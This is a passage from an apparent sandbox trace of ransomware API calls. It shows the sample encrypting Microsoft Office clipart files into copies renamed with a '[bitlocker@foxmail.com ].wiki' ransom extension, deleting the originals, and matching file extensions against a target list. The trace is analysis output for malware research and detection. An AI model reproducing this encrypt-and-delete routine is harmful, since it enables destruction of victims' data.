office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0063.553] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.553] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0063.553] GetLastError () returned 0x0 [0063.554] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0xbb7c, lpOverlapped=0x0) returned 1 [0063.556] WriteFile (in: hFile=0x1f4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xbb80, lpOverlapped=0x0) returned 1 [0063.557] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.557] WriteFile (in: hFile=0x1f4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.558] SetEndOfFile (hFile=0x1f4) returned 1 [0063.558] CloseHandle (hObject=0x1f4) returned 1 [0063.558] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.558] SetEndOfFile (hFile=0x21c) returned 1 [0063.559] CloseHandle (hObject=0x21c) returned 1 [0063.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0063.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0063.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0063.559] lstrlenW (lpString=".doc") returned 4 [0063.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.559] lstrlenW (lpString=".docx") returned 5 [0063.559] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.559] lstrlenW (lpString=".pdf") returned 4 [0063.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.559] lstrlenW (lpString=".xls") returned 4 [0063.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.560] lstrlenW (lpString=".xlsx") returned 5 [0063.560] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.560] lstrlenW (lpString=".ppt") returned 4 [0063.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0063.560] lstrlenW (lpString=".zip") returned 4 [0063.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.560] lstrlenW (lpString=".rar") returned 4 [0063.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.560] lstrlenW (lpString=".bz2") returned 4 [0063.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.560] lstrlenW (lpString=".7z") returned 3 [0063.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0063.560] lstrlenW (lpString=".dbf") returned 4 [0063.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0063.560] lstrlenW (lpString=".1cd") returned 4 [0063.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0063.560] lstrlenW (lpString=".jpg") returned 4 [0063.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0063.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0063.560] lstrlenW (lpString=".doc") returned 4 [0063.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.560] lstrlenW (lpString=".docx") returned 5 [0063.560] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.560] lstrlenW (lpString=".pdf") returned 4 [0063.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.560] lstrlenW (lpString=".xls") returned 4 [0063.560] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.560] lstrlenW (lpString=".xlsx") returned 5 [0063.560] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.561] lstrlenW (lpString=".ppt") returned 4 [0063.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0063.561] lstrlenW (lpString=".zip") returned 4 [0063.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.561] lstrlenW (lpString=".rar") returned 4 [0063.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.561] lstrlenW (lpString=".bz2") returned 4 [0063.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.561] lstrlenW (lpString=".7z") returned 3 [0063.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0063.561] lstrlenW (lpString=".dbf") returned 4 [0063.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0063.561] lstrlenW (lpString=".1cd") returned 4 [0063.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0063.561] lstrlenW (lpString=".jpg") returned 4 [0063.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.561] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.561] lstrlenW (lpString="BD08868_.WMF") returned 12 [0063.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0063.561] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=40206) returned 1 [0063.562] CloseHandle (hObject=0x21c) returned 1 [0063.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x20 [0063.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0063.562] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.562] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0063.562] GetLastError () returned 0x0 [0063.562] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x9d0e, lpOverlapped=0x0) returned 1 [0063.708] WriteFile (in: hFile=0x1f4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x9d10, lpOverlapped=0x0) returned 1 [0063.709] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.709] WriteFile (in: hFile=0x1f4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.710] SetEndOfFile (hFile=0x1f4) returned 1 [0063.783] CloseHandle (hObject=0x1f4) returned 1 [0063.784] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.784] SetEndOfFile (hFile=0x21c) returned 1 [0063.785] CloseHandle (hObject=0x21c) returned 1 [0063.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0064.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0064.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0064.020] lstrlenW (lpString=".doc") returned 4 [0064.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.020] lstrlenW (lpString=".docx") returned 5 [0064.020] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.020] lstrlenW (lpString=".pdf") returned 4 [0064.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.020] lstrlenW (lpString=".xls") returned 4 [0064.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.020] lstrlenW (lpString=".xlsx") returned 5 [0064.020] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.020] lstrlenW (lpString=".ppt") returned 4 [0064.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0064.021] lstrlenW (lpString=".zip") returned 4 [0064.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.021] lstrlenW (lpString=".rar") returned 4 [0064.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.021] lstrlenW (lpString=".bz2") returned 4 [0064.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.021] lstrlenW (lpString=".7z") returned 3 [0064.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0064.021] lstrlenW (lpString=".dbf") returned 4 [0064.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0064.021] lstrlenW (lpString=".1cd") returned 4 [0064.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0064.021] lstrlenW (lpString=".jpg") returned 4 [0064.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0064.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0064.021] lstrlenW (lpString=".doc") returned 4 [0064.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.021] lstrlenW (lpString=".docx") returned 5 [0064.021] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.021] lstrlenW (lpString=".pdf") returned 4 [0064.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.021] lstrlenW (lpString=".xls") returned 4 [0064.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.021] lstrlenW (lpString=".xlsx") returned 5 [0064.021] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.021] lstrlenW (lpString=".ppt") returned 4 [0064.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0064.021] lstrlenW (lpString=".zip") returned 4 [0064.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.021] lstrlenW (lpString=".rar") returned 4 [0064.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.022] lstrlenW (lpString=".bz2") returned 4 [0064.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.022] lstrlenW (lpString=".7z") returned 3 [0064.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0064.022] lstrlenW (lpString=".dbf") returned 4 [0064.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0064.022] lstrlenW (lpString=".1cd") returned 4 [0064.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0064.022] lstrlenW (lpString=".jpg") returned 4 [0064.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.022] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0064.022] lstrlenW (lpString="BD19582_.GIF") returned 12 [0064.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0064.692] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=15733) returned 1 [0064.692] CloseHandle (hObject=0x20c) returned 1 [0064.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 0x20 [0064.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0064.700] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.700] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0064.700] GetLastError () returned 0x0 [0064.706] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x3d75, lpOverlapped=0x0) returned 1 [0064.723] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0064.724] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0064.724] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0064.724] SetEndOfFile (hFile=0x214) returned 1 [0064.724] CloseHandle (hObject=0x214) returned 1 [0064.725] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.725] SetEndOfFile (hFile=0x20c) returned 1 [0064.726] CloseHandle (hObject=0x20c) returned 1 [0064.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0064.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0064.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0064.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0064.726] lstrlenW (lpString=".doc") returned 4 [0064.726] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0064.726] lstrlenW (lpString=".docx") returned 5 [0064.726] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0064.726] lstrlenW (lpString=".pdf") returned 4 [0064.726] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0064.726] lstrlenW (lpString=".xls") returned 4 [0064.726] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0064.726] lstrlenW (lpString=".xlsx") returned 5 [0064.726] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0064.726] lstrlenW (lpString=".ppt") returned 4 [0064.726] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0064.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0064.726] lstrlenW (lpString=".zip") returned 4 [0064.726] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0064.726] lstrlenW (lpString=".rar") returned 4 [0064.726] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0064.726] lstrlenW (lpString=".bz2") returned 4 [0064.726] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0064.727] lstrlenW (lpString=".7z") returned 3 [0064.727] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0064.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0064.727] lstrlenW (lpString=".dbf") returned 4 [0064.727] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0064.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0064.727] lstrlenW (lpString=".1cd") returned 4 [0064.727] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0064.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0064.727] lstrlenW (lpString=".jpg") returned 4 [0064.727] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0064.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0064.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0064.727] lstrlenW (lpString=".doc") returned 4 [0064.727] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0064.727] lstrlenW (lpString=".docx") returned 5 [0064.727] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0064.727] lstrlenW (lpString=".pdf") returned 4 [0064.727] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0064.727] lstrlenW (lpString=".xls") returned 4 [0064.727] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0064.727] lstrlenW (lpString=".xlsx") returned 5 [0064.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0064.727] lstrlenW (lpString=".ppt") returned 4 [0064.727] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0064.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0064.727] lstrlenW (lpString=".zip") returned 4 [0064.727] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0064.727] lstrlenW (lpString=".rar") returned 4 [0064.727] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0064.727] lstrlenW (lpString=".bz2") returned 4 [0064.727] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0064.727] lstrlenW (lpString=".7z") returned 3 [0064.727] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0064.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0064.727] lstrlenW (lpString=".dbf") returned 4 [0064.728] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0064.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0064.728] lstrlenW (lpString=".1cd") returned 4 [0064.728] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0064.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0064.728] lstrlenW (lpString=".jpg") returned 4 [0064.728] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0064.728] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0064.728] lstrlenW (lpString="BL00105_.WMF") returned 12 [0064.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0064.729] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=880) returned 1 [0064.729] CloseHandle (hObject=0x20c) returned 1 [0064.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x20 [0064.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0064.729] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.729] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 